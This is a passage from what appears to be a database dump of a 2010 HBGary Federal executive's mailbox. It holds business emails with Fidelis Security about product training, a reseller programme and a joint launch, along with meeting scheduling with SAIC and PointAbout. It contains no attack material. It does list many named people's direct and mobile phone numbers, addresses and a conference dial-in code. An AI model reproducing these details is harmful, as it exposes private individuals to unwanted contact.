cc’ing Jerry and Hardik Modi, who is the engineer who oversees our appliances and has a lot of experience with the virt product deployments.&nbsp;&nbsp;David&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, June 04, 2010 11:32 AMTo:&nbsp;Etue, DavidCc:&nbsp;Harvey, KevinSubject:&nbsp;Re: DuPont&nbsp;Is there anything that would be helpful in the installation side as well?&nbsp;On Jun 3, 2010, at 8:43 AM, Etue, David wrote:&nbsp;Yep – we should connect them with Kevin Harvey (cc’d), who will coordinate the training.&nbsp;&nbsp;Understanding our policy components and structure is key to success.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, June 03, 2010 10:40 AMTo:&nbsp;Etue, DavidSubject:&nbsp;Re: DuPont&nbsp;We have the various VMs now downloaded and are installing. &nbsp;Should we have a conversation and potential demo of these capabilities for the folks out here in the Springs that will be configuring?&nbsp;Aaron&nbsp;On Jun 3, 2010, at 8:20 AM, Etue, David wrote:On a call with them – you okay if I mention your upcoming offering?&nbsp;David&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9172,'aaron_hbgary_com/9172.html'),(7107,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005166.M122591P14101Q1962.eml','\"Etue, David\" <david.etue@fidelissecurity.com>','Re: resale/referral program discussion with HB Gary','Dave,Any chance we can slip this by 30min.? &nbsp;I have a 9am that might run a bit longer than an hour.AaronOn Jun 7, 2010, at 8:36 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).Where: Phone Number: &nbsp;&nbsp; 3018416585, 0139939Note: The GMT offset above does not reflect daylight saving time adjustments.*~*~*~*~*~*~*~*~*~*Kurt and Gary to provide review of Fidelis channel, reseller and agent programs to design a program to enable HB Gary Incident Response goalsFrom the e-mail thread - RE: Enabling HB Gary Incident Response Teams with Fidelis XPSReseller / leave behind proposal – I see two different opportunities here, and they aren’t mutually exclusive.&nbsp; Kurt leads our Channel Partner program and can provide details on becoming an authorized reseller.&nbsp; Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.&nbsp; We also have a referral agreement program, lead out of our sales organizations.&nbsp; Gary Benedetti (VP, Sales) can provide the details. I’d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense.&nbsp; \r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1492,'aaron_hbgary_com/1492.html'),(7108,'2010-06-07','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005168.M240891P14101Q1963.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Executed NDA','Scott,\r\n\r\nSee you tomorrow.  I know we had talked about 9am but the invite I think went out for 11am.  Sorry for confusion.  I was in Colorado when I sent out the meeting notice and forgot it converted the time in my calendar.\r\n\r\n',10049,'aaron_hbgary_com/10049.html'),(7109,'2010-06-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005168.M541526P14101Q1964.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: resale/referral program discussion with HB Gary','body {word-wrap: break-word; background-color:#ffffff;}Yep, will resend when I get back to computerSent from my phone.&#160; Please excuse any typos.-----Original message-----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: &quot;Etue, David&quot; &lt;david.etue@fidelissecurity.com&gt;Sent: Mon, Jun 7, 2010 13:11:41 GMT+00:00Subject: Re: resale/referral program discussion with HB GaryDave,Any chance we can slip this by 30min.? &nbsp;I have a 9am that might run a bit longer than an hour.AaronOn Jun 7, 2010, at 8:36 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, June 08, 2010 10:00 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).Where: Phone Number: &nbsp;&nbsp; 3018416585, 0139939Note: The GMT offset above does not reflect daylight saving time adjustments.*~*~*~*~*~*~*~*~*~*Kurt and Gary to provide review of Fidelis channel, reseller and agent programs to design a program to enable HB Gary Incident Response goalsFrom the e-mail thread - RE: Enabling HB Gary Incident Response Teams with Fidelis XPSReseller / leave behind proposal – I see two different opportunities here, and they aren’t mutually exclusive.&nbsp; Kurt leads our Channel Partner program and can provide details on becoming an authorized reseller.&nbsp; Additionally, since you are primarily targeting federal customers, it may be difficult for HB Gary Federal to sell the solution without access to particular contract vehicles.&nbsp; We also have a referral agreement program, lead out of our sales organizations.&nbsp; Gary Benedetti (VP, Sales) can provide the details. I’d suggest that we schedule a call between the four of us to discuss next steps, as one or more may make sense.&nbsp; \r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\n',15288,'aaron_hbgary_com/15288.html'),(7110,'2010-06-07','\"Harvey, Kevin\" <kevin.harvey@fidelissecurity.com>','/aaron@hbgary.com/new/1297005168.M773241P14101Q1965.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: DuPont','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\nst1\\:*{behavior:url(#default#ieooui) }\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Aaron,\r\n\r\n&nbsp;\r\n\r\nI&#8217;m available to get started as soon\r\nas this Thursday afternoon or Friday. &nbsp;As David suggests, we could start\r\nout with a quick demo and let things develop from there.&nbsp; The training\r\ncould be customized based on your requirements.&nbsp; Let me know what time\r\nworks best and I can setup a gotomeeting and conference number.\r\n\r\n&nbsp;\r\n\r\nKevin Harvey\r\n\r\n214.213.4389\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Friday, June 04, 2010 10:46\r\nAM\r\nTo: Harvey,\r\n Kevin\r\nCc: Aaron Barr\r\nSubject: RE: DuPont\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nKevin,\r\n\r\n&nbsp;\r\n\r\nI&#8217;d suggest we\r\nget a quick demo scheduled, even if the training might take a few days to get\r\nstarted.&nbsp; If you show some of the use cases in the demo, with how the\r\npolicy components work, it might get them started.&nbsp; They are hoping to\r\nlaunch this integrated offering by June 14.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, June 04, 2010 11:26\r\nAM\r\nTo: Etue, David\r\nCc: Harvey,\r\n Kevin\r\nSubject: Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreat.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nKevin, &nbsp;can we set up some training for these guys soonest?\r\n&nbsp;Overall introduction will be great with a focus on those capabilities we\r\nwould most use for incident response engagement; network discovery, session\r\nreconstruction, traffic isolation and analysis, integration with our Active\r\nDefense capabilities (so APIs).\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks,\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:43 AM, Etue, David wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYep &#8211; we\r\nshould connect them with Kevin Harvey (cc&#8217;d), who will coordinate the\r\ntraining.&nbsp;&nbsp;Understanding our\r\npolicy components and structure is key to success.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, June 03, 2010 10:40 AM\r\nTo:&nbsp;Etue, David\r\nSubject:&nbsp;Re: DuPont\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have the various VMs now downloaded and are installing. &nbsp;Should\r\nwe have a conversation and potential demo of these capabilities for the folks\r\nout here in the Springs that will be configuring?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 3, 2010, at 8:20 AM, Etue, David wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn a call with them &#8211; you okay if I mention your\r\nupcoming offering?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15369,'aaron_hbgary_com/15369.html'),(7111,'2010-06-07','\"Paczynski, Robert A.\" <ROBERT.A.PACZYNSKI@saic.com>','/aaron@hbgary.com/new/1297005169.M320108P14101Q1967.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NANA','Free between 2-4 pm this Friday or after noon either Monday or Tuesday,\r\ncurrently.\r\n\r\nBP\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 8:27 AM\r\nTo: Paczynski, Robert A.\r\nSubject: Re: NANA\r\n\r\nBob,\r\n\r\nSure that would be great.   Are you available in the afternoon?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 7, 2010, at 8:07 AM, \"Paczynski, Robert A.\"\r\n wrote:\r\n\r\n> Aaron:\r\n>\r\n> Sorry for the delayed response.  Do you have any time this Friday to\r\nmeet (... or next Monday or Tuesday)??  I leave next Wednesday for 3\r\nweeks and then won\'t be back until after the July 4th holiday.\r\n>\r\n> Not much in the way of staffing to discuss, but we can certainly talk\r\ncapabilities.\r\n>\r\n> Regards,\r\n>\r\n> Bob Paczynski, CISSP\r\n> Vice President/Manager, Cyber Analysis & Security Division\r\n>\r\n> Science Applications International Corporation\r\n> Intelligence and Information Solutions Business Unit\r\n> 6841 Benjamin Franklin Drive\r\n> Room 4031\r\n> Columbia, MD  21046\r\n>\r\n> TEL:    (443) 367-7684\r\n> FAX:    (443) 367-7948\r\n> CELL:  (443) 286-0859\r\n> EMAIL:  Robert.A.Paczynski@saic.com\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, June 01, 2010 11:21 AM\r\n> To: Paczynski, Robert A.\r\n> Subject: NANA\r\n>\r\n> Hi Robert,\r\n>\r\n> I am the CEO of HBGary Federal, the services sister company to HBGary\r\nInc..  We specialize in incident response (malware analysis), threat\r\nintelligence, and information operations services.  I was given your\r\ncontact information from Mike Mulville.  I spoke with Scott Sheldon as\r\nwell a little while back about NANA.  Unfortunately we came late to the\r\nparty, we would have very much liked to have been on your team, but we\r\njust started the services company in November.  I would like to have a\r\nbrief conversation with you whenever you are available about our\r\ncompany.  If there are positions you are having a difficult time\r\nfilling, or for potential future positions we would like to be\r\nconsidered.\r\n>\r\n> Thank You,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',5277,'aaron_hbgary_com/5277.html'),(7112,'2010-06-07','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005169.M553771P14101Q1968.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Mobile Discussion - PointAbout, Inc.','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REPLY\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;PARTSTAT=ACCEPTED:mailto:scott.suhy@pointabout.com\r\nCLASS:PUBLIC\r\nCOMMENT:\\n\r\nCREATED:20100607T135617Z\r\nDESCRIPTION:\\n\r\nDTEND:20100608T140000Z\r\nDTSTAMP:20100607T135617Z\r\nDTSTART:20100608T130000Z\r\nLAST-MODIFIED:20100607T135619Z\r\nLOCATION:1410 Q St.\r\nPRIORITY:5\r\nSEQUENCE:8\r\nSUMMARY;LANGUAGE=en-us:Accepted: Mobile Discussion - PointAbout\\, Inc.\r\nTRANSP:OPAQUE\r\nUID:9B560383-8E34-48CF-B54E-87E359239367\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:BUSY\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MS-OLK-AUTOFILLLOCATION:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',8225,'aaron_hbgary_com/8225.html'),(7113,'2010-06-07','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005169.M793730P14101Q1969.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Executed NDA','I have it down for 9.   \r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 07, 2010 9:23 AM\r\nTo: Scott Suhy\r\nSubject: Executed NDA\r\n\r\nScott,\r\n\r\nSee you tomorrow.  I know we had talked about 9am but the invite I think\r\nwent out for 11am.  Sorry for confusion.  I was in Colorado when I sent out\r\nthe meeting notice and forgot it converted the time in my calendar.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2922 - Release Date: 06/07/10\r\n02:35:00\r\n\r\n',7791,'aaron_hbgary_com/7791.html'),(7114,'2010-06-07','\"Sweeney, Stacey\" <stacey.sweeney@fidelissecurity.com>','/aaron@hbgary.com/new/1297005169.M84068P14101Q1966.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\nv\\:* {\r\n	BEHAVIOR: url(#default#VML)\r\n}\r\no\\:* {\r\n	BEHAVIOR: url(#default#VML)\r\n}\r\nw\\:* {\r\n	BEHAVIOR: url(#default#VML)\r\n}\r\n.shape {\r\n	BEHAVIOR: url(#default#VML)\r\n}\r\n\r\n\r\n@font-face {\r\n	font-family: Cambria Math;\r\n}\r\n@font-face {\r\n	font-family: Calibri;\r\n}\r\n@font-face {\r\n	font-family: Tahoma;\r\n}\r\n@font-face {\r\n	font-family: Verdana;\r\n}\r\n@page Section1 {size: 8.5in 11.0in; margin: 1.0in 1.0in 1.0in 1.0in; }\r\nP.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nLI.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nDIV.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nA:link {\r\n	COLOR: blue; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nSPAN.MsoHyperlink {\r\n	COLOR: blue; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nA:visited {\r\n	COLOR: purple; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nSPAN.MsoHyperlinkFollowed {\r\n	COLOR: purple; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nP.MsoAcetate {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Tahoma\",\"sans-serif\"; FONT-SIZE: 8pt; mso-style-priority: 99; mso-style-link: \"Balloon Text Char\"\r\n}\r\nLI.MsoAcetate {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Tahoma\",\"sans-serif\"; FONT-SIZE: 8pt; mso-style-priority: 99; mso-style-link: \"Balloon Text Char\"\r\n}\r\nDIV.MsoAcetate {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Tahoma\",\"sans-serif\"; FONT-SIZE: 8pt; mso-style-priority: 99; mso-style-link: \"Balloon Text Char\"\r\n}\r\nP.MsoListParagraph {\r\n	MARGIN: 0in 0in 0pt 0.5in; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt; mso-style-priority: 34\r\n}\r\nLI.MsoListParagraph {\r\n	MARGIN: 0in 0in 0pt 0.5in; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt; mso-style-priority: 34\r\n}\r\nDIV.MsoListParagraph {\r\n	MARGIN: 0in 0in 0pt 0.5in; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt; mso-style-priority: 34\r\n}\r\nSPAN.BalloonTextChar {\r\n	FONT-FAMILY: \"Tahoma\",\"sans-serif\"; mso-style-priority: 99; mso-style-link: \"Balloon Text\"; mso-style-name: \"Balloon Text Char\"\r\n}\r\nSPAN.EmailStyle20 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: windowtext; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle21 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle22 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle23 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle24 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle25 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle26 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle27 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle28 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal\r\n}\r\nSPAN.EmailStyle29 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: #1f497d; mso-style-type: personal-reply\r\n}\r\n.MsoChpDefault {\r\n	FONT-SIZE: 10pt; mso-style-type: export-only\r\n}\r\nDIV.Section1 {\r\n	page: Section1\r\n}\r\nOL {\r\n	MARGIN-BOTTOM: 0in\r\n}\r\nUL {\r\n	MARGIN-BOTTOM: 0in\r\n}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nAaron - if we can connect today or \r\ntomorrow?\r\n&nbsp;\r\nThanks.\r\nStacey\r\n&nbsp;\r\n&nbsp;\r\n\r\nStacey Fairbairn \r\nSweeney\r\nVice President, \r\nMarketing\r\nFidelis Security \r\nSystems\r\n301.652.7190 x115 \r\n(direct)\r\n571.228.2249 \r\n(mobile)\r\nStacey.Sweeney@FidelisSecurity.com\r\nTwitter: \r\n@FidSecSys\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Etue, David Sent: Monday, June \r\n07, 2010 8:47 AMTo: Aaron Barr; Sweeney, StaceySubject: \r\nRE: Enabling HB Gary Incident Response Teams with Fidelis \r\nXPS\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nI wanted to make sure you and \r\nStacey had connected.&nbsp; To meet your launch next week, we need to make sure we&#8217;ve coordinated any support you \r\nrequire from Fidelis at FIRST (brochures, etc.), as well as web site and press \r\nrelease coordination.\r\n&nbsp;\r\nDavid\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nTo: Sweeney, Stacey Cc: Bertone, Kurt Sent: Mon \r\nJun 07 08:38:18 2010Subject: RE: Enabling HB Gary Incident Response \r\nTeams with Fidelis XPS \r\nStacey,Have you and \r\nAaron caught up?&nbsp; If we/they are announcing this next week, we need to get \r\nmoving on the web site and press release items.\r\n&nbsp;\r\nDavid\r\n&nbsp;\r\n\r\n\r\nFrom: Etue, David \r\nSent: Tuesday, May 25, 2010 5:22 PMTo: \'Aaron \r\nBarr\'Cc: Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, \r\nStacey; Mancini, Jerry; Harvey, KevinSubject: Enabling HB Gary \r\nIncident Response Teams with Fidelis XPS\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\nThanks for your time to discuss how we can work together to \r\nintegrate Fidelis XPS in a Scout form factor into your incident response \r\nofferings at HB Gary Federal.&nbsp; I would like to bring some of the broader \r\nFidelis team into the discussion (cc&#8217;d on this e-mail), and work on some next \r\nsteps. \r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nAgreements &#8211; you should have received \r\ncounter-signed partner agreements back from Gary Kramer (CFO).&nbsp; \r\n\r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nAccess to VMs and API guide &#8211; with the signed \r\nagreement, you will get a portal account.&nbsp; Kurt Bertone (VP, Strategic \r\nAlliances) will ensure the portal account process gets kicked off.&nbsp; \r\nShould we issue you the account, or is there a technical lead on your team \r\nwhose name we should put the account it?&nbsp; \r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nI&#8217;d recommend you download and install Fidelis \r\nXPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be almost \r\nidentical in functionality to the Scout platform. \r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nFidelis XPS CommandPost VM requirements: VMware vSphere, \r\n2 vCPU, 2GB memory, 100GB HDD, 1 vNIC\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nFidelis XPS Direct VM requirements:&nbsp; VMware \r\nvSphere, 8 vCPU, 16GB memory, 30GB HDD, 4 vNICs\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nThe API guide will be included, and covers the \r\nvarying integration scenarios.&nbsp; Kurt and Jerry Mancini (VP, \r\nEngineering) can organize resources to provide technical support on the \r\nAPI.&nbsp; Our file extraction API is changing to make it much easier with our \r\n6.2 release, so it may make sense to schedule a call with Jerry to \r\ndiscuss.&nbsp; I&#8217;ve also attached the latest version of my proposed integration \r\nguide in case its useful.&nbsp; \r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nTraining &#8211; Fidelis will provide a complimentary \r\ntechnical training session either in Bethesda or web-based, depending which is \r\npreferred for the HB Gary Federal team, led by Kevin Harvey (Senior Sales \r\nEngineer), with assistance from Jerry on the API.&nbsp; &nbsp;There is also \r\na chance that Kevin may be in Colorado Springs, so we may be able to have that \r\nas the location.&nbsp; Getting dates confirmed quickly will be important \r\nto meet the aggressive launch date.\r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nMarketing Launch &#8211; Stacey Sweeney (VP, \r\nMarketing) will lead this from the Fidelis side. &nbsp;I&#8217;ve discussed \r\nsupporting FIRST in mid-June, so we&#8217;d need to move quickly.&nbsp; We&#8217;d like to \r\nget HB Gary featured on our partner web site with a description of the incident \r\nresponse offerings, and would also be interested in a joint press release.&nbsp; \r\nWe also likely could provide some collateral on our products for the \r\nevent.&nbsp; \r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nProcuring a Scout &#8211; As we discussed, we are very \r\nexcited about the Scout driving incident response opportunities.&nbsp; In order \r\nto best determine how this business model will work, we propose that we make \r\navailable a Scout at an aggressive discount with a 3-6 month license \r\nincluded.&nbsp; At the end of the included license period, we get together and \r\nmutually review the results and determine how best to license the system moving \r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think \r\nthere could be a lot of potentially models. As I mentioned, we have the ability \r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning \r\nto a laptop-based model.&nbsp; Kurt, Gary and I will lead this process \r\nfrom Fidelis.&nbsp; \r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\nReseller / leave behind proposal &#8211; I see two \r\ndifferent opportunities here, and they aren&#8217;t mutually exclusive.&nbsp; \r\nKurt leads our Channel Partner program and can provide details on \r\nbecoming an authorized reseller.&nbsp; Additionally, since you are primarily \r\ntargeting federal customers, it may be difficult for HB Gary Federal to sell the \r\nsolution without access to particular contract vehicles.&nbsp; We also have a \r\nreferral agreement program, lead out of our sales organizations.&nbsp; Gary \r\nBenedetti (VP, Sales) can provide the details. I&#8217;d suggest that we schedule \r\na call between the four of us to discuss next steps, as one or more may make \r\nsense.&nbsp; Aaron &#8211; can you provide a few times you have available in the \r\nnext week?&nbsp; \r\n&nbsp;\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n&#8220;Go to market plan&#8221; &#8211; we like to put together a \r\nvery simple document so that we understand the goals and objectives of the \r\npartnership.&nbsp; This shouldn&#8217;t be more than 2 pages, covering roadmap and \r\nrules of engagement document so we know how to engage in the field.&nbsp; \r\nGary Benedetti and I can help on the Fidelis side.&nbsp; We&#8217;ll start the \r\ntemplate and provide it to you.&nbsp; \r\n&nbsp;\r\nWe are excited about this offering and look forward to \r\nhelping launch it!\r\n&nbsp;\r\nDavid\r\n&nbsp;\r\n\r\n  \r\n  \r\n    \r\n      \r\n        \r\n        \r\n          \r\n            \r\n              \r\n                \r\n                  \r\n                    \r\n                    \r\n                      \r\n                        Fidelis \r\n                        Security Systems\r\n                      \r\n                \r\n              \r\n                \r\n                  \r\n                    \r\n                    \r\n                      \r\n                        David \r\n                        Etue, CIPP/GVP, \r\n                        Products and Markets \r\n                      \r\n                        4416 \r\n                        East West Highway, Suite 310Bethesda, MD \r\n                        20814 \r\n                        \r\n                    \r\n                      \r\n                        david.etue@fidelissecurity.comhttp://www.fidelissecurity.com \r\n                        \r\n                      \r\n                        \r\n                          \r\n                          \r\n                            \r\n                              tel: \r\n                              fax: mobile: \r\n                            \r\n                              (240) \r\n                              396-2445 (301) \r\n                              652-7097(202) \r\n                              669-3628 \r\n          \r\n  \r\n    \r\n      \r\n        \r\n        \r\n          \r\n            Always \r\n            have my latest info\r\n          \r\n            Want \r\n            a signature like this?\r\n&nbsp;\r\n&nbsp;\r\n',16052,'aaron_hbgary_com/16052.html'),(7115,'2010-06-07','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005170.M275561P14101Q1971.eml','\"Bertone, Kurt\" <kurt.bertone@fidelissecurity.com>,\"Benedetti, Gary\" <gary.benedetti@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','resale/referral program discussion with HB Gary','\r\n\r\n\r\n\r\n\r\nresale/referral program discussion with HB 